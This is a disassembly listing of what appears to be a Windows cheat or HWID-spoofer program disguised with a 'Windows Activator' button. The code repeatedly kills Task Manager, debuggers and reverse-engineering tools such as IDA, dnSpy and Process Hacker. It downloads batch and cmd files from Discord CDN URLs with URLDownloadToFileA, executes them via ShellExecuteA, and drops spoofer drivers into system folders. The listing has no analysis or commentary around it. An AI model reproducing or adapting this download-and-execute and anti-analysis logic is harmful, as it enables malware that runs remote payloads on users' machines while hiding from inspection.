call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesWindows_Defender_timedatechanger.bat
call fcn.1402b632c
lea rcx, [rsp + 0xd1b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd1d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd1f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd210]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd230]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd250]
call fcn.14005d8e0
call fcn.1400f6410
mov r8b, 1
mov edx, 3
lea rcx, str.__Windows_Activator
call fcn.14006be90
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039cea8]
lea rcx, [rsp + 0x468]
call fcn.14005eef0
lea rdx, [rsp + 0x468]
lea rcx, str.Click_Me_To_Activate_Windows
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x140074ae0
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd2f0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd2d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd2d0]
call fcn.14005d8d0
mov qword [rsp + 0x470], rax
lea rcx, [rsp + 0xd2f0]
call fcn.14005d8d0
mov qword [rsp + 0x478], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x470]
mov rdx, qword [rsp + 0x478]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__cdn.discordapp.com_attachments_941375180540903524_941581238387503164_MAS_1.5_AIO_CRC32_21D20776.cmd
lea rcx, [rsp + 0xc270]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesWindows_DefenderMAS_1.5_AIO_CRC32_21D20776.cmd
lea rcx, [rsp + 0xd2b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd2b0]
call fcn.14005d8d0
mov qword [rsp + 0x480], rax
lea rcx, [rsp + 0xc270]
call fcn.14005d8d0
mov qword [rsp + 0x488], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x480]
mov rdx, qword [rsp + 0x488]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesWindows_DefenderMAS_1.5_AIO_CRC32_21D20776.cmd
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd290]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd270]
call fcn.14005d9d0
lea rcx, [rsp + 0xd270]
call fcn.14005d8d0
mov qword [rsp + 0x490], rax
lea rcx, [rsp + 0xd290]
call fcn.14005d8d0
mov qword [rsp + 0x498], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x490]
mov rdx, qword [rsp + 0x498]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
